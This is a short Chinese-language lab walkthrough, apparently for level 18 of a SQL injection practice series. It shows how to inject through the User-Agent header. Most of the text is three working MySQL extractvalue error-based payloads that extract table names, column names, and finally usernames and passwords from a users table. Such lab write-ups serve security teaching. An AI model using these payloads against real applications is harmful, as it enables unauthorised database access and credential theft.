第十八关:user-agent单引号字符型注入点
方法:在user-agent上进行xpath报错注入
这一关我们输入用户名和密码之后给我们回显除了user-agent的信息,我们猜想注入应当是发生在user-agent上的。我们首先看看源代码。
果然这里把user-agent插入了数据库,我们只需要闭合$uagent前后的单引号然后写上注入语句即可。我们首先得到表名,语法:' and extractvalue(1,concat("^",(select group_concat(table_name) from information_schema.tables where database()=table_schema),"^")) and '
。
接下来我们得到字段名,语法: ' and extractvalue(1,concat("^",(select group_concat(column_name) from information_schema.columns where database()=table_schema and table_name="users"),"^")) and '
。
最后得到数据,语法:' and extractvalue(1,concat("^",(select group_concat(username,"^",password) from users),"^")) and '
。
<